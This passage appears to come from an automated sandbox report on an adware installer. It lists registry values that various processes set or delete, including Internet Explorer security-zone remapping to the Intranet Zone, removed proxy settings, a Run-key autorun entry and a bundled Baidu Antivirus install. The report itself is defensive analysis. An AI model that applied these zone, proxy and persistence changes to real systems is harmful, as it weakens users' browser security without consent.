"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\endostea.squeak\CurVer]
"(Default)" = "endostea.squeak.1"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}]
"(Default)" = "Inst Class"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\ProgID]
"(Default)" = "endostea.squeak.1"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\LocalServer32]
"ServerExecutable" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\amisetup9587__9664.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\TypeLib]
"(Default)" = "{569d0525-5754-4b79-a997-e7651b955e50}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCR\endostea.squeak.1\CLSID]
"(Default)" = "{42e26aec-fffc-4e91-b7dd-7b6710d5d385}"

[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\HELPDIR]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\amisetup9587__9664.exe"

[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}]
"(Default)" = "IBoot"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1448345954"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\LocalServer32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\amisetup9587__9664.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0]
"(Default)" = "InstallerLib"

[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\Version]
"(Default)" = "1.0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\TypeLib]
"(Default)" = "{569D0525-5754-4B79-A997-E7651B955E50}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\VersionIndependentProgID]
"(Default)" = "endostea.squeak"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9E A6 08 2A 95 A6 A9 1C A4 30 2E A3 71 10 D1 AC"

[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "amisetup9587__9664.exe"

[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\0\win32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\amisetup9587__9664.exe:typelib"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCR\endostea.squeak.1]
"(Default)" = "Inst Class"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisetup9587__9664\DEBUG]
"Trace Level" = ""

[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKCR\endostea.squeak]
"(Default)" = "Inst Class"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Adware deletes the following registry key(s):

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\LocalServer32]
[HKCR\endostea.squeak.1\CLSID]
[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\ProxyStubClsid32]
[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\VersionIndependentProgID]
[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}]
[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}]
[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\Version]
[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\ProgID]
[HKCR\endostea.squeak.1]
[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\0]
[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\FLAGS]
[HKCR\endostea.squeak]
[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}]
[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0]
[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\Programmable]
[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\TypeLib]
[HKCR\endostea.squeak\CurVer]
[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\TypeLib]
[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\0\win32]
[HKCR\TypeLib\{569D0525-5754-4B79-A997-E7651B955E50}\1.0\HELPDIR]
[HKCR\Interface\{E9C42E02-EC60-4140-B6DB-8AEB044C633C}\ProxyStubClsid]

The Adware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisetup9587__9664\DEBUG]
"Trace Level"

[HKCR\CLSID\{42e26aec-fffc-4e91-b7dd-7b6710d5d385}\LocalServer32]
"ServerExecutable"

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe:1612 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C8 CC 82 01 A3 28 8B E1 A7 1E 7C 08 6D 0D 46 63"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process schtasks.exe:3560 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE A5 8B C5 B7 43 D8 36 3B 0E 49 AF 14 C6 27 39"

The process schtasks.exe:3576 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CA 71 21 94 EA 65 E0 8D 0B 46 A8 7D 19 B6 08 E9"

The process schtasks.exe:3568 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB BF 1C 2F 08 32 16 FE 97 DB 50 03 E2 AD AF B5"

The process ReportCommRetry.exe:2516 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 74 8A 42 89 21 54 C1 8D EC F4 FD EF 3D FC E7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process BavPro_Setup_B354.exe:3296 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"InstallDir" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCR\bav\DefaultIcon]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"DisplayVersion" = "5.4.3.147185"

[HKLM\System\CurrentControlSet\Services\BavSvc]
"Description" = "Baidu Antivirus Service"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"InstallVersion" = "5.4.3.147185"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"DisplayIcon" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Services\BHipsSvc]
"Description" = "Baidu Hips Service"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Baidu Security\PC Faster]
"pcfaster-id" = "S-1-5-21-1844237615-1960408961-1801674531-1003#000C2902CDFB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\_bavfr]
"bavfr" = "GlQS71A5R/R93RdTNQpd TdVFq8I"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"IndependentDir" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"InstallFatherDir" = "%Program Files%\Baidu Security\Baidu Antivirus"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"URLInfoAbout" = "http://antivirus.baidu.com"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BavPro_Setup_B354\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\DtsEncodeTools]
"{7200A7FD-6319-4cd1-8577-2220BEFB2A36}" = "1"

[HKCR\BLPFILE\shell\open\command]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\tool\Translator.exe %1"

[HKCR\BLPFILE\DefaultIcon]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\tool\Translator.exe,-201"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"InstallTime" = "1448348644"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0]
"BavTray.exe" = "Baidu Antivirus Tray Application"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"schtasks.exe" = "Schedule Tasks"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"InstallChannel" = "Imali|br|IBD|Bundle"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"Publisher" = "Baidu, Inc."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"regsvr32.exe" = "Microsoft(C) Register Server"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9B 33 5B 47 51 DC 57 BF E2 2F 8E 4F 03 22 28 6E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Baidu Security]
"uuid" = "S-1-5-21-1844237615-1960408961-1801674531-1003#000C2902CDFB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"UninstallString" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Uninstall.exe"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCR\.blp]
"(Default)" = "BLPFILE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"DisplayName" = "Baidu Antivirus"

[HKLM\SOFTWARE\Baidu Security\Antivirus]
"FullDump" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCR\bav\shell\open\command]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav.exe UI_Start_From_IE"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKCR\bav]
"URL Protocol" = "sss"
"(Default)" = "URL:bav"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0]
"bavupdater.exe" = "Baidu Antivirus Updater"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the Adware adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Baidu Antivirus" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe -auto"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Adware deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BavPro_Setup_B354\DEBUG]
"Trace Level"

The Adware disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"DarkDumpReport"

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe:1884 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B2 77 53 54 AE 5F EE B0 24 19 25 C7 16 43 73 0E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"amisetup9587__9664.exe" = "amisetup9587__9664"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process BavCheckOpponent.exe:876 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "ED D3 4C 40 B0 2B D9 6E 34 35 A4 20 11 11 79 77"

The process BavUpdater.exe:3072 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

